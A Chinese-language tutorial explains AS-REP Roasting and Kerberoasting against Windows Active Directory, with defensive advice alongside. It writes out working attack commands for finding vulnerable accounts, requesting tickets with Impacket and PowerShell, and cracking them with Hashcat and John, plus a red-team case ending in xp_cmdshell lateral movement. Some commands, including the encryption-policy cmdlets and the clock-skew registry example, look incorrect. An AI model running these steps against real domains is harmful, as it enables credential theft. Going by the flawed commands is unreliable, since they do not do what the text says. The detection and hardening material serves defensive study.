深入解析Kerberos协议下的两种经典域内攻击:AS-REP Roasting与Kerberoasting实战剖析
1. Kerberos协议与域内攻击基础Kerberos作为Windows域环境的核心认证协议本质上是一套基于票据的身份验证系统。想象一下你去参加行业会议主办方会在签到处核对你的身份证身份认证然后给你一张通行证TGT票据之后在各个分论坛只需出示通行证就能获得分会场门票服务票据。Kerberos协议的工作流程就类似这样的三级验证体系。在实际渗透测试中我们发现Kerberos的两种经典攻击手法AS-REP Roasting和Kerberoasting就像会议安防系统的两个漏洞前者相当于有人绕过签到处直接领取通行证禁用预认证后者则像伪造分会场邀请函滥用SPN服务票据。这两种攻击都利用了协议设计中的信任环节通过获取加密票据进行离线爆破。关键术语速览TGT票据相当于会议主会场的通行证由KDC域控制器的AS服务颁发ST票据类似分会场门票由KDC的TGS服务签发SPN服务唯一标识好比分会场的专属邀请码格式RC4_HMAC_MD5一种弱加密算法相当于用简易锁具保管重要物品2. AS-REP Roasting攻击全解析2.1 攻击原理深度拆解当域用户账户勾选不要求Kerberos预认证时相当于会议签到处取消了身份证核验环节。攻击者只需提供用户名无需密码域控就会返回用该用户密码加密的AS-REP响应包。这就像告诉会务人员我是张总邀请的嘉宾对方就直接给了通行证。通过Wireshark抓包可以看到关键差异正常请求包含pA-ENC-TIMESTAMP字段加密的时间戳禁用预认证的请求直接跳过验证环节AS-REP响应中包含enc-part字段用用户密码加密的会话密钥2.2 实战操作三部曲第一步识别脆弱账户# 使用PowerShell查询禁用预认证的用户 Get-ADUser -Filter DoesNotRequirePreAuth -eq $true -Properties DoesNotRequirePreAuth第二步获取加密票据# 非域环境使用Impacket工具 python3 GetNPUsers.py -dc-ip 192.168.1.1 -usersfile users.txt domain/第三步离线爆破演示# John爆破示例 john --formatkrb5asrep --wordlistrockyou.txt hashes.txt # Hashcat爆破需添加$23前缀 hashcat -m 18200 hash.txt rockyou.txt --force2.3 防御方案建议账户策略审计定期检查用户账户的DoesNotRequirePreAuth属性日志监控重点关注事件ID为4768的异常AS请求网络层面防护限制KDC88端口的访问范围3. Kerberoasting攻击实战剖析3.1 攻击链完整解析Kerberoasting攻击就像伪造分会场邀请函的过程攻击者先获取主会场通行证正常TGT查询哪些分会场使用简易锁具RC4加密的SPN服务伪造邀请函请求TGS-REQ指定加密类型获得用服务账户密码加密的门票ST票据暴力破解锁具获取密码3.2 SPN服务发现技巧自动化探测工具对比工具名称语言环境优势特点PowerViewPowerShell无需安装内存加载RiskySPNPython自动评估密码强度ImpacketPython支持非域环境RubeusC#集成化操作典型SPN服务示例MSSQLSvc/db01.corp.local:1433 HTTP/webapp.corp.local TERMSERV/rdp01.corp.local3.3 攻击实战演示步骤一SPN发现Import-Module .\PowerView.ps1 Get-NetUser -SPN | select samaccountname,serviceprincipalname步骤二票据请求# 使用Impacket请求票据 python3 GetUserSPNs.py -request -dc-ip 192.168.1.1 corp.local/user:Passw0rd步骤三离线破解hashcat -m 13100 kerberoast.hash rockyou.txt -O3.4 立体化防御策略加密算法升级组策略强制使用AES256加密服务账户管理设置30位以上复杂密码定期轮换服务账户凭证日志监控指标事件ID 4769服务票据请求筛选加密类型为0x17RC4的请求权限最小化服务账户遵循最小权限原则4. 两种攻击的对比分析核心差异点对比表对比维度AS-REP RoastingKerberoasting利用阶段AS-REQ/AS-REPTGS-REQ/TGS-REP目标账户禁用预认证的用户账户注册SPN的服务账户加密材料用户密码加密的会话密钥服务账户密码加密的ST票据成功率较低需特殊配置较高默认存在弱SPN防御难度较易修改账户属性较难涉及加密算法兼容性实战选择建议在内网渗透初期优先尝试Kerberoasting发现特殊配置账户时切换AS-REP Roasting两种攻击可配合使用提高成功率5. 高级攻击变种与检测5.1 无工具攻击技术通过原生Windows命令实现Kerberoasting# 请求SQL服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList MSSQLSvc/db01.corp.local # 导出票据 klist export /outfile:sql.kirbi5.2 隐蔽攻击手法时钟偏移攻击通过修改系统时间绕过票据有效期限制需要配合如下注册表修改Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters] NtpServertime.windows.com,0x1 TypeNTP5.3 检测与溯源方案SIEM检测规则示例event_id4769 AND ticket_encryption_type0x17 | stats count by user,service_name | where count 3内存取证技巧volatility -f memory.dump --profileWin10x64 kerberos6. 企业级防护体系建设6.1 技术防护层加密策略配置# 查看当前加密策略 Get-ADDefaultDomainPasswordPolicy | select KerberosEncryptionType # 配置AES256加密 Set-ADAccountControl -Identity svc_account -KerberosEncryptionType AES256网络访问控制限制KDC端口的源IP访问部署Kerberos协议深度检测设备6.2 管理流程层服务账户生命周期管理新建账户时强制复杂密码 AES256加密季度密码轮换机制半年期SPN服务审计应急响应流程graph TD A[发现异常票据请求] -- B[冻结相关账户] B -- C[分析攻击路径] C -- D[重置受影响凭证] D -- E[加固薄弱环节]7. 实战案例复盘某次红队评估中我们通过以下路径完成域控接管初始立足点钓鱼获取的普通域凭据SPN扫描发现SQL服务账户Kerberoasting爆破获得svc_sql密码该账户具有SQL Sysadmin权限通过xp_cmdshell实现横向移动关键转折点在于该SQL服务账户密码3年未变更使用Pssw0rd123作为密码账户被添加到多个服务器的本地管理员组修复建议实施服务账户密码自动轮换清除不必要的本地管理员权限启用SQL登录审计策略